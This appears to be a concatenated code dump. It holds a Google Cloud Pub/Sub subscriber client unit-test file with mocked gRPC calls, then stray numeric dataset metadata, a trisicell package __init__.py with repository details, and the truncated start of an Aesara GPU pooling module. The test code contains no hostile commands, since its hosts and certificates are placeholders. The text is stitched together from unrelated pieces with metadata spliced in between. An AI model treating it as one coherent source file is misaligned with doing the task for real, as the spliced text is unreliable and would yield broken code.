pubsub.DeleteSnapshotRequest() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client._client._transport.delete_snapshot), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None) response = await client.delete_snapshot(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the response is the type that we expect. assert response is None def test_delete_snapshot_field_headers(): client = SubscriberClient(credentials=credentials.AnonymousCredentials(),) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = pubsub.DeleteSnapshotRequest() request.snapshot = "snapshot/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client._transport.delete_snapshot), "__call__") as call: call.return_value = None client.delete_snapshot(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "snapshot=snapshot/value",) in kw["metadata"] @pytest.mark.asyncio async def test_delete_snapshot_field_headers_async(): client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = pubsub.DeleteSnapshotRequest() request.snapshot = "snapshot/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client._client._transport.delete_snapshot), "__call__" ) as call: call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None) await client.delete_snapshot(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "snapshot=snapshot/value",) in kw["metadata"] def test_delete_snapshot_flattened(): client = SubscriberClient(credentials=credentials.AnonymousCredentials(),) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client._transport.delete_snapshot), "__call__") as call: # Designate an appropriate return value for the call. call.return_value = None # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. client.delete_snapshot(snapshot="snapshot_value",) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0].snapshot == "snapshot_value" def test_delete_snapshot_flattened_error(): client = SubscriberClient(credentials=credentials.AnonymousCredentials(),) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): client.delete_snapshot( pubsub.DeleteSnapshotRequest(), snapshot="snapshot_value", ) @pytest.mark.asyncio async def test_delete_snapshot_flattened_async(): client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client._client._transport.delete_snapshot), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = None call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None) # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. response = await client.delete_snapshot(snapshot="snapshot_value",) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0].snapshot == "snapshot_value" @pytest.mark.asyncio async def test_delete_snapshot_flattened_error_async(): client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): await client.delete_snapshot( pubsub.DeleteSnapshotRequest(), snapshot="snapshot_value", ) def test_seek(transport: str = "grpc", request_type=pubsub.SeekRequest): client = SubscriberClient( credentials=credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = request_type() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client._transport.seek), "__call__") as call: # Designate an appropriate return value for the call. call.return_value = pubsub.SeekResponse() response = client.seek(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == pubsub.SeekRequest() # Establish that the response is the type that we expect. assert isinstance(response, pubsub.SeekResponse) def test_seek_from_dict(): test_seek(request_type=dict) @pytest.mark.asyncio async def test_seek_async(transport: str = "grpc_asyncio"): client = SubscriberAsyncClient( credentials=credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = pubsub.SeekRequest() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client._client._transport.seek), "__call__") as call: # Designate an appropriate return value for the call. call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(pubsub.SeekResponse()) response = await client.seek(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the response is the type that we expect. assert isinstance(response, pubsub.SeekResponse) def test_seek_field_headers(): client = SubscriberClient(credentials=credentials.AnonymousCredentials(),) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = pubsub.SeekRequest() request.subscription = "subscription/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client._transport.seek), "__call__") as call: call.return_value = pubsub.SeekResponse() client.seek(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "subscription=subscription/value",) in kw[ "metadata" ] @pytest.mark.asyncio async def test_seek_field_headers_async(): client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = pubsub.SeekRequest() request.subscription = "subscription/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client._client._transport.seek), "__call__") as call: call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(pubsub.SeekResponse()) await client.seek(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "subscription=subscription/value",) in kw[ "metadata" ] def test_credentials_transport_error(): # It is an error to provide credentials and a transport instance. transport = transports.SubscriberGrpcTransport( credentials=credentials.AnonymousCredentials(), ) with pytest.raises(ValueError): client = SubscriberClient( credentials=credentials.AnonymousCredentials(), transport=transport, ) # It is an error to provide a credentials file and a transport instance. transport = transports.SubscriberGrpcTransport( credentials=credentials.AnonymousCredentials(), ) with pytest.raises(ValueError): client = SubscriberClient( client_options={"credentials_file": "credentials.json"}, transport=transport, ) # It is an error to provide scopes and a transport instance. transport = transports.SubscriberGrpcTransport( credentials=credentials.AnonymousCredentials(), ) with pytest.raises(ValueError): client = SubscriberClient( client_options={"scopes": ["1", "2"]}, transport=transport, ) def test_transport_instance(): # A client may be instantiated with a custom transport instance. transport = transports.SubscriberGrpcTransport( credentials=credentials.AnonymousCredentials(), ) client = SubscriberClient(transport=transport) assert client._transport is transport def test_transport_get_channel(): # A client may be instantiated with a custom transport instance. transport = transports.SubscriberGrpcTransport( credentials=credentials.AnonymousCredentials(), ) channel = transport.grpc_channel assert channel transport = transports.SubscriberGrpcAsyncIOTransport( credentials=credentials.AnonymousCredentials(), ) channel = transport.grpc_channel assert channel def test_transport_grpc_default(): # A client should use the gRPC transport by default. client = SubscriberClient(credentials=credentials.AnonymousCredentials(),) assert isinstance(client._transport, transports.SubscriberGrpcTransport,) def test_subscriber_base_transport_error(): # Passing both a credentials object and credentials_file should raise an error with pytest.raises(exceptions.DuplicateCredentialArgs): transport = transports.SubscriberTransport( credentials=credentials.AnonymousCredentials(), credentials_file="credentials.json", ) def test_subscriber_base_transport(): # Instantiate the base transport. with mock.patch( "google.pubsub_v1.services.subscriber.transports.SubscriberTransport.__init__" ) as Transport: Transport.return_value = None transport = transports.SubscriberTransport( credentials=credentials.AnonymousCredentials(), ) # Every method on the transport should just blindly # raise NotImplementedError. methods = ( "create_subscription", "get_subscription", "update_subscription", "list_subscriptions", "delete_subscription", "modify_ack_deadline", "acknowledge", "pull", "streaming_pull", "modify_push_config", "get_snapshot", "list_snapshots", "create_snapshot", "update_snapshot", "delete_snapshot", "seek", "set_iam_policy", "get_iam_policy", "test_iam_permissions", ) for method in methods: with pytest.raises(NotImplementedError): getattr(transport, method)(request=object()) def test_subscriber_base_transport_with_credentials_file(): # Instantiate the base transport with a credentials file with mock.patch.object( auth, "load_credentials_from_file" ) as load_creds, mock.patch( "google.pubsub_v1.services.subscriber.transports.SubscriberTransport._prep_wrapped_messages" ) as Transport: Transport.return_value = None load_creds.return_value = (credentials.AnonymousCredentials(), None) transport = transports.SubscriberTransport( credentials_file="credentials.json", quota_project_id="octopus", ) load_creds.assert_called_once_with( "credentials.json", scopes=( "https://www.googleapis.com/auth/cloud-platform", "https://www.googleapis.com/auth/pubsub", ), quota_project_id="octopus", ) def test_subscriber_auth_adc(): # If no credentials are provided, we should use ADC credentials. with mock.patch.object(auth, "default") as adc: adc.return_value = (credentials.AnonymousCredentials(), None) SubscriberClient() adc.assert_called_once_with( scopes=( "https://www.googleapis.com/auth/cloud-platform", "https://www.googleapis.com/auth/pubsub", ), quota_project_id=None, ) def test_subscriber_transport_auth_adc(): # If credentials and host are not provided, the transport class should use # ADC credentials. with mock.patch.object(auth, "default") as adc: adc.return_value = (credentials.AnonymousCredentials(), None) transports.SubscriberGrpcTransport( host="squid.clam.whelk", quota_project_id="octopus" ) adc.assert_called_once_with( scopes=( "https://www.googleapis.com/auth/cloud-platform", "https://www.googleapis.com/auth/pubsub", ), quota_project_id="octopus", ) def test_subscriber_host_no_port(): client = SubscriberClient( credentials=credentials.AnonymousCredentials(), client_options=client_options.ClientOptions( api_endpoint="pubsub.googleapis.com" ), ) assert client._transport._host == "pubsub.googleapis.com:443" def test_subscriber_host_with_port(): client = SubscriberClient( credentials=credentials.AnonymousCredentials(), client_options=client_options.ClientOptions( api_endpoint="pubsub.googleapis.com:8000" ), ) assert client._transport._host == "pubsub.googleapis.com:8000" def test_subscriber_grpc_transport_channel(): channel = grpc.insecure_channel("http://localhost/") # Check that if channel is provided, mtls endpoint and client_cert_source # won't be used. callback = mock.MagicMock() transport = transports.SubscriberGrpcTransport( host="squid.clam.whelk", channel=channel, api_mtls_endpoint="mtls.squid.clam.whelk", client_cert_source=callback, ) assert transport.grpc_channel == channel assert transport._host == "squid.clam.whelk:443" assert not callback.called def test_subscriber_grpc_asyncio_transport_channel(): channel = aio.insecure_channel("http://localhost/") # Check that if channel is provided, mtls endpoint and client_cert_source # won't be used. callback = mock.MagicMock() transport = transports.SubscriberGrpcAsyncIOTransport( host="squid.clam.whelk", channel=channel, api_mtls_endpoint="mtls.squid.clam.whelk", client_cert_source=callback, ) assert transport.grpc_channel == channel assert transport._host == "squid.clam.whelk:443" assert not callback.called @mock.patch("grpc.ssl_channel_credentials", autospec=True) @mock.patch("google.api_core.grpc_helpers.create_channel", autospec=True) def test_subscriber_grpc_transport_channel_mtls_with_client_cert_source( grpc_create_channel, grpc_ssl_channel_cred ): # Check that if channel is None, but api_mtls_endpoint and client_cert_source # are provided, then a mTLS channel will be created. mock_cred = mock.Mock() mock_ssl_cred = mock.Mock() grpc_ssl_channel_cred.return_value = mock_ssl_cred mock_grpc_channel = mock.Mock() grpc_create_channel.return_value = mock_grpc_channel transport = transports.SubscriberGrpcTransport( host="squid.clam.whelk", credentials=mock_cred, api_mtls_endpoint="mtls.squid.clam.whelk", client_cert_source=client_cert_source_callback, ) grpc_ssl_channel_cred.assert_called_once_with( certificate_chain=b"cert bytes", private_key=b"key bytes" ) grpc_create_channel.assert_called_once_with( "mtls.squid.clam.whelk:443", credentials=mock_cred, credentials_file=None, scopes=( "https://www.googleapis.com/auth/cloud-platform", "https://www.googleapis.com/auth/pubsub", ), ssl_credentials=mock_ssl_cred, quota_project_id=None, ) assert transport.grpc_channel == mock_grpc_channel @mock.patch("grpc.ssl_channel_credentials", autospec=True) @mock.patch("google.api_core.grpc_helpers_async.create_channel", autospec=True) def test_subscriber_grpc_asyncio_transport_channel_mtls_with_client_cert_source( grpc_create_channel, grpc_ssl_channel_cred ): # Check that if channel is None, but api_mtls_endpoint and client_cert_source # are provided, then a mTLS channel will be created. mock_cred = mock.Mock() mock_ssl_cred = mock.Mock() grpc_ssl_channel_cred.return_value = mock_ssl_cred mock_grpc_channel = mock.Mock() grpc_create_channel.return_value = mock_grpc_channel transport = transports.SubscriberGrpcAsyncIOTransport( host="squid.clam.whelk", credentials=mock_cred, api_mtls_endpoint="mtls.squid.clam.whelk", client_cert_source=client_cert_source_callback, ) grpc_ssl_channel_cred.assert_called_once_with( certificate_chain=b"cert bytes", private_key=b"key bytes" ) grpc_create_channel.assert_called_once_with( "mtls.squid.clam.whelk:443", credentials=mock_cred, credentials_file=None, scopes=( "https://www.googleapis.com/auth/cloud-platform", "https://www.googleapis.com/auth/pubsub", ), ssl_credentials=mock_ssl_cred, quota_project_id=None, ) assert transport.grpc_channel == mock_grpc_channel @pytest.mark.parametrize( "api_mtls_endpoint", ["mtls.squid.clam.whelk", "mtls.squid.clam.whelk:443"] ) @mock.patch("google.api_core.grpc_helpers.create_channel", autospec=True) def test_subscriber_grpc_transport_channel_mtls_with_adc( grpc_create_channel, api_mtls_endpoint ): # Check that if channel and client_cert_source are None, but api_mtls_endpoint # is provided, then a mTLS channel will be created with SSL ADC. mock_grpc_channel = mock.Mock() grpc_create_channel.return_value = mock_grpc_channel # Mock google.auth.transport.grpc.SslCredentials class. mock_ssl_cred = mock.Mock() with mock.patch.multiple( "google.auth.transport.grpc.SslCredentials", __init__=mock.Mock(return_value=None), ssl_credentials=mock.PropertyMock(return_value=mock_ssl_cred), ): mock_cred = mock.Mock() transport = transports.SubscriberGrpcTransport( host="squid.clam.whelk", credentials=mock_cred, api_mtls_endpoint=api_mtls_endpoint, client_cert_source=None, ) grpc_create_channel.assert_called_once_with( "mtls.squid.clam.whelk:443", credentials=mock_cred, credentials_file=None, scopes=( "https://www.googleapis.com/auth/cloud-platform", "https://www.googleapis.com/auth/pubsub", ), ssl_credentials=mock_ssl_cred, quota_project_id=None, ) assert transport.grpc_channel == mock_grpc_channel @pytest.mark.parametrize( "api_mtls_endpoint", ["mtls.squid.clam.whelk", "mtls.squid.clam.whelk:443"] ) @mock.patch("google.api_core.grpc_helpers_async.create_channel", autospec=True) def test_subscriber_grpc_asyncio_transport_channel_mtls_with_adc( grpc_create_channel, api_mtls_endpoint ): # Check that if channel and client_cert_source are None, but api_mtls_endpoint # is provided, then a mTLS channel will be created with SSL ADC. mock_grpc_channel = mock.Mock() grpc_create_channel.return_value = mock_grpc_channel # Mock google.auth.transport.grpc.SslCredentials class. mock_ssl_cred = mock.Mock() with mock.patch.multiple( "google.auth.transport.grpc.SslCredentials", __init__=mock.Mock(return_value=None), ssl_credentials=mock.PropertyMock(return_value=mock_ssl_cred), ): mock_cred = mock.Mock() transport = transports.SubscriberGrpcAsyncIOTransport( host="squid.clam.whelk", credentials=mock_cred, api_mtls_endpoint=api_mtls_endpoint, client_cert_source=None, ) grpc_create_channel.assert_called_once_with( "mtls.squid.clam.whelk:443", credentials=mock_cred, credentials_file=None, scopes=( "https://www.googleapis.com/auth/cloud-platform", "https://www.googleapis.com/auth/pubsub", ), ssl_credentials=mock_ssl_cred, quota_project_id=None, ) assert transport.grpc_channel == mock_grpc_channel def test_snapshot_path(): project = "squid" snapshot = "clam" expected = "projects/{project}/snapshots/{snapshot}".format( project=project, snapshot=snapshot, ) actual = SubscriberClient.snapshot_path(project, snapshot) assert expected == actual def test_parse_snapshot_path(): expected = { "project": "whelk", "snapshot": "octopus", } path = SubscriberClient.snapshot_path(**expected) # Check that the path construction is reversible. actual = SubscriberClient.parse_snapshot_path(path) assert expected == actual def test_subscription_path(): project = "squid" subscription = "clam" expected = "projects/{project}/subscriptions/{subscription}".format( project=project, subscription=subscription, ) actual = SubscriberClient.subscription_path(project, subscription) assert expected == actual def test_parse_subscription_path(): expected = { "project": "whelk", "subscription": "octopus", } path = SubscriberClient.subscription_path(**expected) # Check that the path construction is reversible. actual = SubscriberClient.parse_subscription_path(path) assert expected == actual def test_client_withDEFAULT_CLIENT_INFO(): client_info = gapic_v1.client_info.ClientInfo() with mock.patch.object( transports.SubscriberTransport, "_prep_wrapped_messages" ) as prep: client = SubscriberClient( credentials=credentials.AnonymousCredentials(), client_info=client_info, ) prep.assert_called_once_with(client_info) with mock.patch.object( transports.SubscriberTransport, "_prep_wrapped_messages" ) as prep: transport_class = SubscriberClient.get_transport_class() transport = transport_class( credentials=credentials.AnonymousCredentials(), client_info=client_info, ) prep.assert_called_once_with(client_info) def test_set_iam_policy(transport: str = "grpc"): client = SubscriberClient( credentials=credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = iam_policy.SetIamPolicyRequest() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client._transport.set_iam_policy), "__call__") as call: # Designate an appropriate return value for the call. call.return_value = policy.Policy(version=774, etag=b"etag_blob",) response = client.set_iam_policy(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the response is the type that we expect. assert isinstance(response, policy.Policy) assert response.version == 774 assert response.etag == b"etag_blob" @pytest.mark.asyncio async def test_set_iam_policy_async(transport: str = "grpc_asyncio"): client = SubscriberAsyncClient( credentials=credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = iam_policy.SetIamPolicyRequest() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client._client._transport.set_iam_policy), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( policy.Policy(version=774, etag=b"etag_blob",) ) response = await client.set_iam_policy(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the response is the type that we expect. assert isinstance(response, policy.Policy) assert response.version == 774 assert response.etag == b"etag_blob" def test_set_iam_policy_field_headers(): client = SubscriberClient(credentials=credentials.AnonymousCredentials(),) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = iam_policy.SetIamPolicyRequest() request.resource = "resource/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client._transport.set_iam_policy), "__call__") as call: call.return_value = policy.Policy() client.set_iam_policy(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "resource=resource/value",) in kw["metadata"] @pytest.mark.asyncio async def test_set_iam_policy_field_headers_async(): client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = iam_policy.SetIamPolicyRequest() request.resource = "resource/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client._client._transport.set_iam_policy), "__call__" ) as call: call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(policy.Policy()) await client.set_iam_policy(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "resource=resource/value",) in kw["metadata"] def test_set_iam_policy_from_dict(): client = SubscriberClient(credentials=credentials.AnonymousCredentials(),) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client._transport.set_iam_policy), "__call__") as call: # Designate an appropriate return value for the call. call.return_value = policy.Policy() response = client.set_iam_policy( request={ "resource": "resource_value", "policy": policy.Policy(version=774), } ) call.assert_called() def test_get_iam_policy(transport: str = "grpc"): client = SubscriberClient( credentials=credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = iam_policy.GetIamPolicyRequest() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client._transport.get_iam_policy), "__call__") as call: # Designate an appropriate return value for the call. call.return_value = policy.Policy(version=774, etag=b"etag_blob",) response = client.get_iam_policy(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the response is the type that we expect. assert isinstance(response, policy.Policy) assert response.version == 774 assert response.etag == b"etag_blob" @pytest.mark.asyncio async def test_get_iam_policy_async(transport: str = "grpc_asyncio"): client = SubscriberAsyncClient( credentials=credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = iam_policy.GetIamPolicyRequest() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client._client._transport.get_iam_policy), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( policy.Policy(version=774, etag=b"etag_blob",) ) response = await client.get_iam_policy(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the response is the type that we expect. assert isinstance(response, policy.Policy) assert response.version == 774 assert response.etag == b"etag_blob" def test_get_iam_policy_field_headers(): client = SubscriberClient(credentials=credentials.AnonymousCredentials(),) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = iam_policy.GetIamPolicyRequest() request.resource = "resource/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client._transport.get_iam_policy), "__call__") as call: call.return_value = policy.Policy() client.get_iam_policy(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "resource=resource/value",) in kw["metadata"] @pytest.mark.asyncio async def test_get_iam_policy_field_headers_async(): client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = iam_policy.GetIamPolicyRequest() request.resource = "resource/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client._client._transport.get_iam_policy), "__call__" ) as call: call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(policy.Policy()) await client.get_iam_policy(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "resource=resource/value",) in kw["metadata"] def test_get_iam_policy_from_dict(): client = SubscriberClient(credentials=credentials.AnonymousCredentials(),) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client._transport.get_iam_policy), "__call__") as call: # Designate an appropriate return value for the call. call.return_value = policy.Policy() response = client.get_iam_policy( request={ "resource": "resource_value", "options": options.GetPolicyOptions(requested_policy_version=2598), } ) call.assert_called() def test_test_iam_permissions(transport: str = "grpc"): client = SubscriberClient( credentials=credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = iam_policy.TestIamPermissionsRequest() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client._transport.test_iam_permissions), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = iam_policy.TestIamPermissionsResponse( permissions=["permissions_value"], ) response = client.test_iam_permissions(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the response is the type that we expect. assert isinstance(response, iam_policy.TestIamPermissionsResponse) assert response.permissions == ["permissions_value"] @pytest.mark.asyncio async def test_test_iam_permissions_async(transport: str = "grpc_asyncio"): client = SubscriberAsyncClient( credentials=credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = iam_policy.TestIamPermissionsRequest() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client._client._transport.test_iam_permissions), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( iam_policy.TestIamPermissionsResponse(permissions=["permissions_value"],) ) response = await client.test_iam_permissions(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the response is the type that we expect. assert isinstance(response, iam_policy.TestIamPermissionsResponse) assert response.permissions == ["permissions_value"] def test_test_iam_permissions_field_headers(): client = SubscriberClient(credentials=credentials.AnonymousCredentials(),) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = iam_policy.TestIamPermissionsRequest() request.resource = "resource/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client._transport.test_iam_permissions), "__call__" ) as call: call.return_value = iam_policy.TestIamPermissionsResponse() client.test_iam_permissions(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "resource=resource/value",) in kw["metadata"] @pytest.mark.asyncio async def test_test_iam_permissions_field_headers_async(): client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = iam_policy.TestIamPermissionsRequest() request.resource = "resource/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client._client._transport.test_iam_permissions), "__call__" ) as call: call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( iam_policy.TestIamPermissionsResponse() ) await client.test_iam_permissions(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "resource=resource/value",) in kw["metadata"] def test_test_iam_permissions_from_dict(): client = SubscriberClient(credentials=credentials.AnonymousCredentials(),) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client._transport.test_iam_permissions), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = iam_policy.TestIamPermissionsResponse() response = client.test_iam_permissions( request={ "resource": "resource_value", "permissions": ["permissions_value"], } ) call.assert_called()

36.377019

100

0.687504

18,841

159,877

5.637121

0.021655

0.017475

0.028397

0.017663

0.941549

0.929601

0.916448

0.899754

0.892533

0.882486

0

0.005199

0.228857

159,877

4,394

101

36.385298

0.856271

0.238508

0

0.73241

0

0.0829

0.027848

0

0.161302

1

0.043039

false

0

0.010105

0.000749

0.053892

0

null

0

1

0

1

0

null

0

7

be9cc909d317bc275975b93353f5a4f9ff3a83db

120

py

Python

trisicell/tl/consensus/__init__.py

faridrashidi/trisicell

4db89edd44c03ccb6c7d3477beff0079c3ff8035

[ "BSD-3-Clause" ]

2

2021-07-02T13:53:15.000Z

2021-11-16T03:14:36.000Z

trisicell/tl/consensus/__init__.py

faridrashidi/trisicell

4db89edd44c03ccb6c7d3477beff0079c3ff8035

[ "BSD-3-Clause" ]

58

2021-06-14T17:14:39.000Z

2022-03-11T19:32:54.000Z

trisicell/tl/consensus/__init__.py

faridrashidi/trisicell

4db89edd44c03ccb6c7d3477beff0079c3ff8035

[ "BSD-3-Clause" ]

null

from trisicell.tl.consensus._consensus import consensus from trisicell.tl.consensus._consensus_day import consensus_day

40

63

0.883333

16

120

6.375

0.375

0.254902

0.294118

0.470588

0.647059

0

0.066667

120

2

64

60

0.910714

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

8

beb8997b2583803de19402dfce279749e241c309

15,776

py

Python

aesara/gpuarray/pool.py

fshart/aesara

1ddf96a7b8e8503fb8773b09c3ca77483fd884c4

[ "BSD-3-Clause" ]

111

2021-01-29T06:12:58.000Z

2021-06-04T20:27:51.000Z

aesara/gpuarray/pool.py

fshart/aesara

1ddf96a7b8e8503fb8773b09c3ca77483fd884c4

[ "BSD-3-Clause" ]

253

2020-02-07T15:19:38.000Z

2021-01-27T20:26:55.000Z

aesara/gpuarray/pool.py

fshart/aesara

1ddf96a7b8e8503fb8773b09c3ca77483fd884c4

[ "BSD-3-Clause" ]

38

2020-07-20T12:09:06.000Z

2021-01-27T13:38:50.000Z

import aesara from aesara.gpuarray.basic_ops import ( CGpuKernelBase, as_gpuarray_variable, gpu_contiguous, gpuarray_helper_inc_dir, infer_context_name, ) from aesara.gpuarray.type import gpu_context_type from aesara.graph.basic import Apply from aesara.graph.params_type import ParamsType from aesara.scalar import bool as bool_t from aesara.tensor.basic import as_tensor_variable from aesara.tensor.signal.pool import Pool, PoolingMode_t from aesara.tensor.type import int_dtypes try: import pygpu except ImportError: # To make sure aesara is importable pass class GpuPool(CGpuKernelBase): """ Implement the max and average pooling on the gpu. """ __props__ = ("ignore_border", "mode", "ndim") params_type = ParamsType( ignore_border=bool_t, mode=PoolingMode_t, context=gpu_context_type ) def __init__(self, ignore_border, mode="max", ndim=2): self.ndim = ndim self.ignore_border = ignore_border if mode == "average": mode = "average_inc_pad" self.mode = mode CGpuKernelBase.__init__(self, ["c_code/pool.c"], "APPLY_SPECIFIC(pool)") assert PoolingMode_t.has_alias(self.mode) assert self.ndim in [2, 3] def get_params(self, node): return self.params_type.get_params(self, context=node.inputs[0].type.context) def c_headers(self, **kwargs): return ["gpuarray_api.h", "gpuarray_helper.h", "numpy_compat.h"] def c_header_dirs(self, **kwargs): return 